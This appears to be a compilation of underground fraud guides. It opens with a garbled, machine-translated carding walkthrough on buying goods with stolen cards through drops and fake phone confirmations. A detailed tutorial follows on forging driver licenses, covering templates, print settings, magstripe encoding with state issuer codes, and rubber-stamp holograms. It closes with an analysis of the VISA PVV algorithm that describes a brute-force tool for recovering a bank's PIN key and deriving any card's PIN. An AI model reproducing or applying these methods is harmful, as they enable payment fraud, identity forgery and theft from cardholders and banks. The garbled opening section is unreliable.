Open there is phone question on which it is necessary to accept a call from a shop and probably then from it to call. The blessing for this purpose exists various Ip the Telephony (use Google) where it is possible to buy external number. We buy phone of the same staff, as дроп. In this case Tennessee.
Further we interrupt the data in a card on ours, will write how many it is necessary to wait for application ? usually couple of days, but everywhere on a miscellaneous. Therefore a card we will postpone for a certain time. After the lapse of two days a card it is necessary чекнуть if at you isn't

present мерчанта near at hand or own x-login ? it is possible to make easier, to go on a type site nero.com or etc. trading in a software and to buy there not necessary херню for 20 dollars. If payment has passed successfully ? the card means is live and it is possible шопится. At вбиве a card it is necessary to use the OLD Name, number, exp and CVV a code, other data we take recently changed.
We go on a site of shop and to affairs the order. (Don't press close to pay as much as possible fast delivery of the goods.) u????u addresses and шипинг (i.e. deliveries) now identical for the clear reasons. After the order to you is made will send the letter where will tell that you need to be called or to you will call, therefore be online (don't forget about time zones). If you can't talk on eng ? ask skilled прозвонщика. After school ?Hello. My name is Tom. How are you? ? with nasty кацапским accent you will send нахуй)) Further if by phone you have confirmed the order successfully, to you will give Track number on which it will be visible (through a site магаза in certain section) as well as where now the goods and when it will receive дроп. (By the way never call in магаз if you about it haven't asked ? деклайн it is guaranteed). Then work дроповода, he is necessary for calling дропу with to instruct where to send the goods, what service etc. ? it is possible to send the goods on the buyer, some home send themselves =)) This your business already.

Good luck.

Basic ID Making [TUTORIAL]

I will first run down the things that you will need. I am going to tell you what you need to make a professional looking state driver lisence, you may not need all of this but it is what is needed to make it look real if you don’t use something that I tell you to it’s your call, your ID may end up looking different than it should.

• Photo editing software (I personally suggest Adobe Photoshop 6.0 or above)
• Prior knowledge of Photoshop is a must
• State identification template
• A scanner if you need to scan a photo of yourself
• Epson printer (c82 or 820) or a laser printer
• Laminator
• Teslin (Type of teslin depends on what kind of printer you have)
• Magstrip encoder (not a nessecity but to make a professional identification card it is needed)

They’re may be other supplies that you need depending on what state you do, and if it has a hologram, that will be explained later in the article.

Okay the first step would be to get a template, these are readily available in more than one place IF you know where to look. Me being the nice guy that I am will help you with that factor. Just search a search engine (google?) www.google.com or any p2p program should be more than sufficient, otherwise you may know somebody who will sell them to you or trade them. There are of course other options, you can make your own, which of course entails tedious work, taking days or even weeks. Or you could scan an ID that you already have and edit it that way.

Okay so let’s say you have your template and you have photoshop, it’s time to get crackin’.

So you need to open up photoshop, and start editing your information. Get your picture in the box and resize the image so you can print.

When it comes time to print it may be a bit difficult.

I am going to assume that you are using single sided Teslin. You will first need to find the coated side of the Teslin paper, now this may take a little bit of experience to figure it out. The correct side is a bit smoother than the other. Just put it in between you fingers and rub the paper until you figure out what side is smoother, if you cant figure it out it's not a problem, you've got a 50% chance of getting it right. You will know weather or not it was right after you print for obvious reasons, the ink will bleed and look really bad. In which case you just flip it over and print it on another position on the teslin.

After you have the right side picked out , you might want to mark the corner with a pen. Then place the teslin in the printer so that it will print on the correct side

Configuring the 8up Template

Now that you are ready to print, you will need the 8up Teslin Template. You can download it here. After you download it, unzip it and open it in Photoshop. Open your finished template as well. Before you can print, you need to check the resolution of the temp you are using and match the 8up temp's resolution to it. To do this, click on the window of your template to make it active, go to the Image menu and click Image Size. Look at the Resolution. It should have a number like 1200 pixels/inch. That is the DPI of the temp you are using.

Now, switch over to the 8up temp that you should already have open. Go back to Image Size under the Image menu. Make sure the Resolution is the same between the two temps. The 8up temp I have hosted here on this site is already in 1200 DPI, but if you have downloaded it from somewhere else in the past (such as Brainstorm ID Supply), it may be in 600. If it is not the same, type in the number it should be and click OK. Photoshop will then convert the 8up temp to the correct resolution.

Copying and Pasting on to the 8up Template

Activate the window of your front template in Photoshop. Under the Select menu, click All. Go to the Edit menu and click Copy Merged. You should copy it merged since you won't need all those layers just to print.

Switch over to the 8up temp and go back to the Edit menu and click Paste. You should now have a new layer in the 8up temp containing your front temp. Select that layer (if it isn't already selected) in the Layers window. Select the Move tool by either clicking on it in the Tools palette or by pressing V. It will help if you check the box next to Show Bounding Box at the top. If you don't see this option, go to the Window menu and click Options.

There are 8 rectangles on the 8up temp (hence the name). Decide where you want to print the front of the license. When I've got a blank sheet of Teslin, I start by printing the front in the top left. Move the layer to the rectangle where you want it to print. Do this by simply dragging it with the Move tool. It should snap into place inside the rectangle. Hopefully, it will be the correct size, but if it isn't you may need to resize it to fit inside the rectangle by dragging the borders. Remember how you checked the Show Bounding Box option? This is why.

Adjusting Print Settings

Click Print under the File menu. Click Properties. Now you must adjust the print settings to match the printer and the Teslin (single or double sided). Here are some settings that I recommend for the printer that I use:

Epson 820 - Single Sided Teslin - Front:

* Under Mode, Choose Custom
* Click Advanced
* Media Type: Photo Paper
* Ink: Color
* Print Quality: Photo - 2880dpi
* Color Management: No Color Adjustment
* Uncheck Edge Smoothing

* Uncheck Epson Natural Color
Epson 820 - Single Sided Teslin - Back:
* Under Mode, Choose Custom
* Click Advanced
* Media Type: Matte Paper - Heavyweight
* Ink: Black
* Print Quality: Photo - 1440dpi
* Color Management: No Color Adjustment
* Uncheck Edge Smoothing
* Uncheck Epson Natural Color
Epson C82 - Laser Teslin - Front:
* Choose Matte Paper - Heavyweight
* Choose Photo RPM
* Uncheck all print options except SuperMicroweave
* Select PhotoEnhance
* Set Tone equal to Vivid
* Set Effect to High Sharpness
* Turn Digital Camera Correction off
Epson C82 - Laser Teslin - Back (Assuming the back is only black, if not use the front settings):
* Choose Matte Paper - Heavyweight
* Choose Best Photo
* Check Black Ink Only
* Uncheck Edge Smoothing

Printing the Front
After you've adjusted the settings to your liking, it's time to finish up and print the front. You should still have the Print window open, but if not go back to Print under the File menu. Now all that is left to do is click OK. Just sit back and wait because it will take a few minutes. After it's done printing, let it dry for a couple of minutes before you touch it. You wouldn't want to smear the ink on that great looking novelty you just printed, would you?

Printing the Back
Now it's time to do the back. The procedure is nearly the same as printing the front. The only differences are where you place the back temp layer on the 8up temp to print, the side of the Teslin you print on, and (if you are using single sided Teslin) the print settings that you use.
Follow the steps in this guide the same way you did for the front, until the part about placing the layer on the 8up temp to print. You will want to put the back temp in the rectangle that was to the right or left of the rectangle you printed the front temp from. For example, you printed the front temp by placing it in the top left rectangle on the 8up temp. In this case, you'll want to put the back temp in the top right rectangle. You will need to flip over the Teslin so that the back will print on the opposite side of the front. Use your common sense, and think about how the printer feeds the paper through.
Adjust the print settings if you are using single sided Teslin, or for double sided, check to make sure they are still the same. Now you are ready to print it.
If you did everything right, you should end up with a front and back that look great and are aligned perfectly (or at least very close
The following information was borrowed from an article written by The Jerm
This is a basic guide to encoding the magstripe on driver licenses/ID's. First, you need to have an MSR206 magstripe encoder. If you don't have one already you can find them easily through an internet search or eBay. It'll run you about $600. Okay, now you need some software. You can download my program for free at http://thejerm.0catch.com. I won't cover how to use the software here. It's pretty self-explanatory but if you run into any problems just read the readme.txt file that comes with it.
Driver License/ID Encoding
If you want to encode an ID there are two ways to go about it:
1. You can read the magstripe from a real ID and then manually edit the tracks. Here's an example of track 1 from an Arizona license:
AZPHOENIX^ADAMS$JOHN$QUINCY^1433 N ELM ST$APT 3^

Now, if your name is Joe Blow and you live at 123 Fake St. in Tuscon you could easily change it to:
AZTUCSON^BLOW$JOE^123 FAKE ST^
If you just want to change the birth date it can be found at the end of track 2 in this format: YYYYMMDD. Most states follow the AAMVA standard pretty closely. The AAMVA standards document can be downloaded here:
http://aamva.com/Documents/stdAAMVAD...ecs_092003.pdf
2. You can use the built-in ID tracks generator in my program. Unfortunately for most of you I've only included the formats for CA and AZ. If you want to do a little work you can create a script for your own state's format. The instructions for doing that are in the readme.txt file that comes with the program. I'd recommend copying the AZ script and editing it rather than starting from scratch.
AAMVA Format
Here's a rundown of the AAMVA format with each part color coded for easy reference:
Sample:
AZPHOENIX^ADAMS$JOHN$QUINCY^1433 N ELM ST$APT 3^
6360260401234567=380719800711=
!!85023 D M601185BRNGRN
Track 1:
AZPHOENIX^ADAMS$JOHN$QUINCY^1433 N ELM ST$APT 3^
AZ – State Abbreviation. Fixed length of 2 characters.
PHOENIX – City. Maximum length is 13 characters. If city is less than 13 characters it must be followed by ^ field separator. If city is more than 13 characters it is truncated to 13. No ^ needed if city is 13 characters long. Examples:
PHOENIX^
SANTA BARBARA
SAN LUIS OBIS (San Luis Obispo)
ADAMS$JOHN$QUINCY – Name. Maximum length is 35 characters. If less than 35, must be followed by ^ field separator. Each name is separated by $. Format is LAST$FIRST$MIDDLE or LAST$FIRST if no middle name is used.
1433 N ELM ST$APT 3 – Address. Maximum length is 77 minus the total number of characters of City + Name fields. $ is used to separate address lines. If address is less than 29 characters it must be followed by ^ field separator.
Track 2:
6360260401234567=380719800711=
636026 – Issuer Identification Number (IIN). Every state has a unique IIN. IIN is 6 digits long and starts with 636. A list of some of the IIN's is included at the end of this guide.
0401234567 – License/ID Number. Maximum length is 13 characters. If number is longer than 13 characters, extra characters are placed at end of track. If license/ID number contains letters, they are converted to 2-digit number (A=01, Z=26). For example, the sample number I used was D01234567 but got converted to 0401234567. License/ID number must always be followed by = field separator regardless of length.
3807 – Expiration Date. Format is YYMM so this example expires in July of 2038 (AZ licenses expire on 65th birthday). Some states may use special codes in place of the expiration month. Codes are as follows:
If MM=77 then license is non-expiring.
If MM=88 the expiration date is after the last day of birth month one year from the month (MM) of birth date and the year (YY) of expiration date.
If MM=99 then the expiration date is on the month (MM) and day (DD) of birth date and the year (YY) of expiration date.
19800711 – Birth Date. Format is YYYYMMDD so this example is July 11, 1980.
= – License/ID Number Overflow. If License/ID number is longer than 13 characters extra characters go here, otherwise a = field separator is placed here.
Track 3:
!!85023 D M601185BRNGRN
!! – Unknown. These two characters don't seem to conform to the AAMVA standard and the standards document contradicts itself. It's probably safe to copy whatever's in this spot on a real ID.
85023 - Zip Code. Fixed length of 11 characters. If Zip Code is less than 13 characters add spaces to make it 13.

D - Class. Fixed length of 2 characters. If only 1 character add space.
(10 spaces) – Restrictions. Fixed length of 10 characters. If not present fill with spaces.
(4 spaces) – Endorsements. Fixed length of 4 characters. If not present fill with spaces.
M – Sex. Fixed length of 1 character. M for male, F for female.
601 – Height. Fixed length of 3 characters. Feet and inches. Sample is 6'1".
185 – Weight. Fixed length of 3 characters. Weight is in pounds. If less than 100 lbs. use 0 for first character.
BRN – Hair Color. Fixed length of 3 characters. Examples are BRN, BLN, RED, BLK.
GRN – Eye Color. Fixed length of 3 characters. Examples are GRN, BLU, HZL, BRN.

There may also be some discretionary data unique to each state at the end of track 3. One more thing, make sure you set the track format to AAMVA under Card Types on the Settings tab or you may get an error when you try to write to a card.
Issuer Identification Numbers
Alabama 636033 Louisiana 636007 Nova Scotia 636013
Arizona 636026 Maine 636041 Ohio 636023
Arkansas 636021 Maryland 636003 Oklahoma 636058
British Columbia 636028 Massachusetts 636002 Ontario 636012
California 636014 Michigan 636032 Oregon 636029
Colorado 636020 Minnesota 636038 Pennsylvania 636025
Connecticut 636006 Mississippi 636051 Rhode Island 636052
District of Columbia 636043 Missouri 636030 Saskatchewan 636044
Delaware 636011 Montana 636008 South Carolina 636005
Florida 636010 Nebraska 636054 South Dakota 636042
Georgia 636055 Nevada 636049 Tennessee 636053
Guam 636019 New Brunswick 636017 US State Dept 636027
Hawaii 636047 New Hampshire 636039 Texas 636015
Idaho 636050 New Jersey 636036 Utah 636040
Illinois 636035 New Mexico 636009 Vermont 636024
Indiana 636037 New York 636001 Virginia 636000
Iowa 636018 Newfoundland 636016 Washington 636045
Kansas 636022 North Carolina 636004 Wisconsin 636031
Kentucky 636046 North Dakota 636034
That's about it. Good luck!

I realize this guide is getting a bit long but we're almost done.

The holograms in my opinion are the worst part of the entire process, it may just be me but I am not a big fan of this, for others, it's the exact opposite, but I will still give you the information. There is more than one method to making holograms, and for the sake of time will not go over them all, maybe in the future I will make another guide including them all, but for right now I will just cover one of them.

Many of you may know what method I will be telling you about, and your sitting there thinking PhotoEZ, well your wrong, I don't like it, in fact, I hate it, instead I am going to tell you about an easier, cheaper way to make your holograms and here it is.

Reffered to as the rubber stamp method The main reason people rule out rubber stamps in this business anymore, is because they think that the only stamps that can be made are the ones you buy at office stores, and only contain letters, numbers, etc. However- in most medium sized cities, there are stamp shops that are able to produce VERY high-quality, detailed stamps, for around 10-20$ The best way to get your CUSTOMIZED stamp made is to print out the hologram you wish to be made, with the exact sizes. Keep in mind how you will be placing the stamp on your medium of choice, be it teslin, lamination, overlam, or whatever. When you print your hologram image out- be sure its not backwards- and tell the stamp producers this too, so when you stamp your teslin, overlam, lam...etc... it shows up facing you, and not like a normal stamp, that would need to be facing the opposite direction on the actual stamp. lol, i

hope this part hasn't confused you- because the first couple of times i had stamps made i had to keep making sure it would come out right before i took it in. I suggest you give the stamp producers an example of how you want it done, on your medium of choice so it comes out right, and not in the opposite direction. To find the stamp producers that can take in scanned images (your printed out hologram) and make stamps out of them- just look in your yellow pages under "Rubber stamps" and call them to make sure they can do this process before you go.
Ok, so that was the easy, no talent method for getting great quality rubber stamps. If you are really good w/ art type stuff- and want a semi-hard challenge, goto the art department at your school and kindly ask the teacher if they had some linoleum-print blocks that you could borrow for a project- along with the proper chizling tools to cut out the stamp. Getting these items assumes that you are in highschool, and you have an art dept. w/ these supplies. If not- you could probably just goto an art store and look for the supplies yourself. (as mentioned above- you need a Special chizzle for linoleum block carving, and the linoleum block itself) although I've never needed to do this before- because I'm still in school Now, with your hologram image that you need to print out from your computer- cut out the parts of it that are colored in with an exacto knife, and leave the white parts solid. You now have a stencil, basically. Draw this onto the linoleum block, and make sure things look good...you may have to do some of the drawing without the stencil in the smaller areas, but its not too difficult once you get the hang of it. After this, carve out the areas on the block where there was white on the original printout. I suggest using a small tool for this- so its easier to get into the little nooks and crannies of the holo. When you get the basic outline of everything around your holo, you now need to put a pvc id, or credit card size object over the holo and place it exactly where the holo should be on the id, when you make it. Carve this blank area out, being sure not to cut into the actual hologram, and after this part is done, you're ready to put the interference gold ink on (i suggest pearl-ex + boss gloss embossing gel- for stamps) and do this by mixing the two things together, putting it all on the cardboard back of a notbook, making sure it gets well "inked" then placing your lam, overlam, teslin's inside over it- so it can be stamped, and then its ready to go. Take note- this second method pretty much only works on the NJ holo- as its the easiest, least complex holo out there, however you can also make your own "offical-looking" stamps with this method too.
The easiest method by far for using stamps is to simply have one made at an stamp shop that can make them from scanned images. If you arent very fammiliar with art shit or linoleum block printing I would'nt attempt the second method. I only included it because i was bored one day during art, and decided to "take" a linoleum block and the chizzels, and make myself an NJ holo. All in all, i prefer this method over PhotoEZ, because they come out High-quality and all i have to do is press down the rubber/linolem stamp on the "ink slab" (back of notebook) and then apply it to the lam, teslin or overlam. I hope you'll at least try the first method, as I'm sure you'll find that the results kick ass.

I realize this guide got quite long and I apologize but I hoped you enjoyed reading it as much as I enjoyed writing it. I want to thank everyone who either helped with this text, or created the different methods explained throughout the article.
Once again be responsible with the information held out in front of you.
I wish you luck with whatever the future may hold for you.

Breaking VISA PIN

Have you ever wonder what would happen if you loose your credit or debit card and someone finds it. Would this person be able to withdraw cash from an ATM guessing, somehow, your PIN? Moreover, if you were who finds someone's card would you try to guess the PIN and take the chance to get some easy money? Of course the answer to both questions should be "no". This work does not deal with the second question, it is a matter of personal ethics. Herewith I try to answer the first question.

All the information used for this work is public and can be freely found in Internet. The rest is a matter of

mathematics and programming, thus we can learn something and have some fun. I reveal no secrets. Furthermore, the aim (and final conclusion) of this work is to demonstrate that PIN algorithms are still strong enough to provide sufficient security. We all know technology is not the weak point.

This work analyzes one of the most common PIN algorithms, VISA PVV, used by many ATM cards (credit and debit cards) and tries to find out how resistant is to PIN guessing attacks. By "guessing" I do not mean choosing a random PIN and trying it in an ATM. It is well known that generally we are given three consecutive trials to enter the right PIN, if we fail ATM keeps the card. As VISA PIN is four digit long it's easy to deduce that the chance for a random PIN guessing is 3/10000 = 0.0003, it seems low enough to be safe; it means you need to loose your card more than three thousand times (or loosing more than three thousand cards at the same time until there is a reasonable chance of loosing money.

What I really meant by "guessing" was breaking the PIN algorithm so that given any card you can immediately know the associated PIN. Therefore this document studies that possibility, analyzing the algorithm and proposing a method for the attack. Finally we give a tool which implements the attack and present results about the estimated chance to break the system. Note that as long as other banking security related algorithms (other PIN formats such as IBM PIN or card validation signatures such as CVV or CVC) are similar to VISA PIN, the same analysis can be done yielding nearly the same results and conclusions.

VISA PVV algorithm

One of the most common PIN algorithms is the VISA PIN Verification Value (PVV). The customer is given a PIN and a magnetic stripe card. Encoded in the magnetic stripe is a four digit number, called PVV. This number is a cryptographic signature of the PIN and other data related to the card. When a user enters his/her PIN the ATM reads the magnetic stripe, encrypts and sends all this information to a central computer. There a trial PVV is computed using the customer entered PIN and the card information with a cryptographic algorithm. The trial PVV is compared with the PVV stored in the card, if they match the central computer returns to the ATM authorization for the transaction. See in more detail.

The description of the PVV algorithm can be found in two documents linked in the previous page. In summary it consists in the encryption of a 8 byte (64 bit) string of data, called Transformed Security Parameter (TSP), with DES algorithm (DEA) in Electronic Code Book mode (ECB) using a secret 64 bit key. The PVV is derived from the output of the encryption process, which is a 8 byte string. The four digits of the PVV (from left to right) correspond to the first four decimal digits (from left to right) of the output from DES when considered as a 16 hexadecimal character (16 x 4 bit = 64 bit) string. If there are no four decimal digits among the 16 hexadecimal characters then the PVV is completed taken (from left to right) non decimal characters and decimalizing them by using the conversion A->0, B->1, C->2, D->3, E->4, F->5. Here is an example:

Output from DES: 0FAB9CDEFFE7DCBA

PVV: 0975

The strategy of avoiding decimalization by skipping characters until four decimal digits are found (which happens to be nearly all the times as we will see below) is very clever because it avoids an important bias in the distribution of digits which has been proven to be fatal for other systems, although the impact on this system would be much lower. See also a related problem not applying to VISA PVV.

The TSP, seen as a 16 hexadecimal character (64 bit) string, is formed (from left to right) with the 11 rightmost digits of the PAN (card number) excluding the last digit (check digit), one digit from 1 to 6 which selects the secret encrypting key and finally the four digits of the PIN. Here is an example:

PAN: 1234 5678 9012 3445
Key selector: 1
PIN: 2468

TSP: 5678901234412468

Obviously the problem of breaking VISA PIN consists in finding the secret encrypting key for DES. The method for that is to do a brute force search of the key space. Note that this is not the only method, one could try to find a weakness in DEA, many tried, but this old standard is still in wide use (now been replaced by AES and RSA, though). This demonstrates it is robust enough so that brute force is the only viable method (there are some better attacks but not practical in our case, for a summary see LASEC memo and for the dirty details see Biham & Shamir 1990, Biham & Shamir 1991, Matsui 1993, Biham & Biryukov 1994 and Heys 2001).

The key selector digit was very likely introduced to cover the possibility of a key compromise. In that case they just have to issue new cards using another key selector. Older cards can be substituted with new ones or simply the ATM can transparently write a new PVV (corresponding to the new key and keeping the same PIN) next time the customer uses his/her card. For the shake of security all users should be asked to change their PINs, however it would be embarrassing for the bank to explain the reason, so very likely they would not make such request.

Preparing the attack
A brute force attack consists in encrypting a TSP with known PVV using all possible encrypting keys and compare each obtained PVV with the known PVV. When a match is found we have a candidate key. But how many keys we have to try? As we said above the key is 64 bit long, this would mean we have to try 2^64 keys. However this is not true. Actually only 56 bits are effective in DES keys because one bit (the least significant) out of each octet was historically reserved as a checksum for the others; in practice those 8 bits (one for each of the 8 octets) are ignored.

Therefore the DES key space consists of 2^56 keys. If we try all these keys will we find one and only one match, corresponding to the bank secret key? Certainly not. We will obtain many matching keys. This is because the PVV is only a small part (one fourth) of the DES output. Furthermore the PVV is degenerated because some of the digits (those between 0 and 5 after the last, seen from left to right, digit between 6 and 9) may come from a decimal digit or from a decimalized hexadecimal digit of the DES output. Thus many keys will produce a DES output which yields to the same matching PVV.

Then what can we do to find the real key among those other false positive keys? Simply we have to encrypt a second different TSP, also with known PVV, but using only the candidate keys which gave a positive matching with the first TSP-PVV pair. However there is no guarantee we won't get again many false positives along with the true key. If so, we will need a third TSP-PVV pair, repeat the process and so on.

Before we start our attack we have to know how many TSP-PVV pairs we will need. For that we have to calculate the probability for a random DES output to yield a matching PVV just by chance. There are several ways to calculate this number and here I will use a simple approach easy to understand but which requires some background in mathematics of probability.

A probability can always be seen as the ratio of favorable cases to possible cases. In our problem the number of possible cases is given by the permutation of 16 elements (the 0 to F hexadecimal digits) in a group of 16 of them (the 16 hexadecimal digits of the DES output). This is given by 16^16 ~ 1.8 * 10^19 which of course coincides with 2^64 (different numbers of 64 bits). This set of numbers can be separated into five categories:

1. Those with at least four decimal digits (0 to 9) among the 16 hexadecimal digits (0 to F) of the DES output.
2. Those with exactly only three decimal digits.
3. Those with exactly only two decimal digits.
4. Those with exactly only one decimal digit.
5. Those with no decimal digits (all between A and F).

Let's calculate how many numbers fall in each category. If we label the 16 hexadecimal digits of the DES

output as X1 to X16 then we can label the first four decimal digits of any given number of the first category as Xi, Xj, Xk and Xl. The number of different combinations with this profile is given by the product 6 i-1 * 10 * 6j-i-1 * 10 * 6k-j-1 * 10 * 6 l-k-1 * 10 * 1616-l where the 6's come from the number of possibilities for an A to F digit, the 10's come from the possibilities for a 0 to 9 digit, and the 16 comes from the possibilities for a 0 to F digit. Now the total numbers in the first category is simply given by the summation of this product over i, j, k, l from 1 to 16 but with i < j < k < l. If you do some math work you will see this equals to the product of 104/6 with the summation over i from 4 to 16 of (i-1) * (i-2) * (i-3) * 6i-4 * 16 16-i ~ 1.8 * 1019.

Analogously the number of cases in the second category is given by the summation over i, j, k from 1 to 16 with i < j < k of the product 6i-1 * 10 * 6j-i-1 * 10 * 6k-j-1 * 10 * 616-k which you can work it out to be 16!/(3! * (16-13)!) * 103 * 6 13 = 16 * 15 * 14/(3 * 2) * 103 * 613 = 56 * 104 * 613 ~ 7.3 * 1015. Similarly for the third category we have the summation over i, j from 1 to 16 with i < j of 6 i-1 * 10 * 6j-i-1 * 10 * 616-j which equals to 16!/(2! * (16-14)!) * 102 * 614 = 2 * 103 * 615 ~ 9.4 * 1014. Again, for the fourth category we have the summation over i from 1 to 16 of 6i-1 * 10 * 616-i = 160 * 615 ~ 7.5 * 1013. And finally the amount of cases in the fifth category is given by the permutation of six elements (A to F digits) in a group of 16, that is, 616 ~ 2.8 * 1012.

I hope you followed the calculations up to this point, the hard part is done. Now as a proof that everything is right you can sum the number of cases in the 5 categories and see it equals the total number of possible cases we calculated before. Do the operations using 64 bit numbers or rounding (for floats) or overflow (for integers) errors won't let you get the exact result.

Up to now we have calculated the number of possible cases in each of the five categories, but we are interested in obtaining the number of favorable cases instead. It is very easy to derive the latter from the former as this is just fixing the combination of the four decimal digits (or the required hexadecimal digits if there are no four decimal digits) of the PVV instead of letting them free. In practice this means turning the 10's in the formula above into 1's and the required amount of 6's into 1's if there are no four decimal digits. That is, we have to divide the first result by 104, the second one by 103 * 6, the third one by 102 * 62 , the fourth one by 10 * 63 and the fifth one by 64 . Then the number of favorable cases in the five categories are approximately 1.8 * 1015, 1.2 * 1012, 2.6 * 1011 , 3.5 * 1010, 2.2 * 109 respectively.

Now we are able to obtain what is the probability for a DES output to match a PVV by chance. We just have to add the five numbers of favorable cases and divide it by the total number of possible cases. Doing this we obtain that the probability is very approximately 0.0001 or one out of ten thousand. Is it strange this well rounded result? Not at all, just have a look at the numbers we calculated above. The first category dominates by several orders of magnitude the number of favorable and possible cases. This is rather intuitive as it seems clear that it is very unlikely not having four decimal digits (10 chances out of 16 per digit) among 16 hexadecimal digits. We saw previously that the relationship between the number of possible and favorable cases in the first category was a division by 10^4, that's where our result p = 0.0001 comes from.

Our aim for all these calculations was to find out how many TSP-PVV pairs we need to carry a successful brute force attack. Now we are able to calculate the expected number of false positives in a first search: it will be the number of trials times the probability for a single random false positive, i.e. t * p where t = 2^56, the size of the key space. This amounts to approximately 7.2 * 10^12, a rather big number. The expected number of false positives in the second search (restricted to the positive keys found in the first search) will be (t * p) * p, for a third search will be ((t * p) * p) * p and so on. Thus for n searches the expected number of false positives will be t * p^n.

We can obtain the number of searches required to expect just one false positive by expressing the equation t * p^n = 1 and solving for n. So n equals to the logarithm in base p of 1/t, which by properties of logarithms it yields n = log(1/t)/log(p) ~ 4.2. Since we cannot do a fractional search it is convenient to round up this number. Therefore what is the expected number of false positives if we perform five searches? It is t * p^5 ~ 0.0007 or approximately 1 out of 1400. Thus using five TSP-PVV pairs is safe to obtain the true secret key with no false positives.

The attack

Once we know we need five TSP-PVV pairs, how do we get them? Of course we need at least one card with known PIN, and due to the nature of the PVV algorithm, that's the only thing we need. With other PIN systems, such as IBM, we would need five cards, however this is not necessary with VISA PVV algorithm. We just have to read the magnetic stripe and then change the PIN four times but reading the card after each change.

It is necessary to read the magnetic stripe of the card to get the PVV and the encrypting key selector. You can buy a commercial magnetic stripe reader or make one yourself following the instructions you can find in the previous page and links therein. Once you have a reader see this description of standard magnetic tracks to find out how to get the PVV from the data read. In that document the PVV field in tracks 1 and 2 is said to be five character long, but actually the true PVV consists of the last four digits. The first of the five digits is the key selector. I have only seen cards with a value of 1 in this digit, which is consistent with the standard and with the secret key never being compromised (and therefore they did not need to move to another key changing the selector).

I did a simple C program, getpvvkey.c, to perform the attack. It consists of a loop to try all possible keys to encrypt the first TSP, if the derived PVV matches the true PVV a new TSP is tried, and so on until there is a mismatch, in which case the key is discarded and a new one is tried, or the five derived PVVs match the corresponding true PVVs, in which case we can assume we got the bank secret key, however the loop goes on until it exhausts the key space. This is done to assure we find the true key because there is a chance (although very low) the first key found is a false positive.

It is expected the program would take a very long time to finish and to minimize the risks of a power cut, computer hang out, etc. it does checkpoints into the file getpvvkey.dat from time to time (the exact time depends on the speed of the computer, it's around one hour for the fastest computers now in use). For the same reason if a positive key is found it is written on the file getpvvkey.key. The program only displays one message at the beginning, the starting position taken from the checkpoint file if any, after that nothing more is displayed.

The DES algorithm is a key point in the program, it is therefore very important to optimize its speed. I tested several implementations: libdes, SSLeay, openssl, cryptlib, nss, libgcrypt, catacomb, libtomcrypt, cryptopp, ufc-crypt. The DES functions of the first four are based on the same code by Eric Young and is the one which performed best (includes optimized C and x86 assembler code). Thus I chose libdes which was the original implementation and condensed all relevant code in the files encrypt.c (C version) and x86encrypt.s (x86 assembler version). The code is slightly modified to achieve some enhancements in a brute force attack: the initial permutation is a fixed common steep in each TSP encryption and therefore can be made just one time at the beginning. Another improvement is that I wrote a completely new setkey function (I called it nextkey) which is optimum for a brute force loop.

To get the program working you just have to type in the corresponding place five TSPs and their PVVs and then compile it. I have tested it only in UNIX platforms, using the makefile Makegetpvvkey to compile (use the command "make -f Makegetpvvkey"). It may compile on other systems but you may need to fix some things. Be sure that the definition of the type long64 corresponds to a 64 bit integer. In principle there is no dependence on the endianness of the processor. I have successfully compiled and run it on Pentium-Linux, Alpha-Tru64, Mips-Irix and Sparc-Solaris. If you do not have and do not want to install Linux (you don't know what you are missing ;-) you still have the choice to run Linux on CD and use my program, see my page running Linux without installing it.

Once you have found the secret bank key if you want to find the PIN of an arbitrary card you just have to write a similar program (sorry I have not written it, I'm too lazy that would try all 10^4 PINs by generating the corresponding TSP, encrypting it with the (no longer) secret key, deriving the PVV and comparing it with the PVV in the magnetic stripe of the card. You will get one match for the true PIN. Only one match? Remember what we saw above, we have a chance of 0.0001 that a random encryption matches the PVV. We are trying 10000 PINs (and therefore TSPs) thus we expect 10000 * 0.0001 = 1

false positive on average.

This is a very interesting result, it means that, on average, each card has two valid PINs: the customer PIN and the expected false positive. I call it "false" but note that as long as it generates the true PVV it is a PIN as valid as the customer's one. Furthermore, there is no way to know which is which, even for the ATM; only customer knows. Even if the false positive were not valid as PIN, you still have three trials at the ATM anyway, enough on average. Therefore the probability we calculated at the beginning of this document about random guessing of the PIN has to be corrected. Actually it is twice that value, i.e., it is 0.0006 or one out of more than 1600, still safely low.

Results

It is important to optimize the compilation of the program and to run it in the fastest possible processor due to the long expected run time. I found that the compiler optimization flag -O gets the better performance, thought some improvement is achieved adding the -fomit-frame-pointer flag on Pentium-Linux, the -spike flag on Alpha-Tru64, the -IPA flag on Mips-Irix and the -fast flag on Sparc-Solaris. Special flags (-DDES_PTR -DDES_RISC1 -DDES_RISC2 -DDES_UNROLL -DASM) for the DES code have generally benefits as well. All these flags have already been tested and I chose the best combination for each processor (see makefile) but you can try to fine tune other flags.

According to my tests the best performance is achieved with the AMD Athlon 1600 MHz processor, exceeding 3.4 million keys per second. Interestingly it gets better results than Intel Pentium IV 1800 MHz and 2000 MHz (see figures below, click on them to enlarge). I believe this is due to some I/O saturation, surely cache or memory access, that the AMD processor (which has half the cache of the Pentium) or the motherboard in which it is running, manages to avoid. In the first figure below you can see that the DES breaking speed of all processors has more or less a linear relationship with the processor speed, except for the two Intel Pentium I mentioned before. This is logical, it means that for a double processor speed you'll get double breaking speed, but watch out for saturation effects, in this case it is better the AMD Athlon 1600 MHz, which will be even cheaper than the Intel Pentium 1800 MHz or 2000 MHz.

In the second figure we can see in more detail what we would call intrinsic DES break power of the processor. I get this value simply dividing the break speed by the processor speed, that is, we get the number of DES keys tried per second and per MHz. This is a measure of the performance of the processor type independently of its speed. The results show that the best processor for this task is the AMD Athlon, then comes the Alpha and very close after it is the Intel Pentium (except for the higher speed ones which perform very poor due to the saturation effect). Next is the Mips processor and in the last place is the Sparc. Some Alpha and Mips processors are located at bottom of scale because they are early releases not including enhancements of late versions. Note that I included the performance of x86 processors for C and assembler code as there is a big difference. It seems that gcc is not a good generator of optimized machine code, but of course we don't know whether a manual optimization of assembler code for the other processors (Alpha, Mips, Sparc) would boost their results compared to the native C compilers (I did not use gcc for these other platforms) as it happens with the x86 processor.

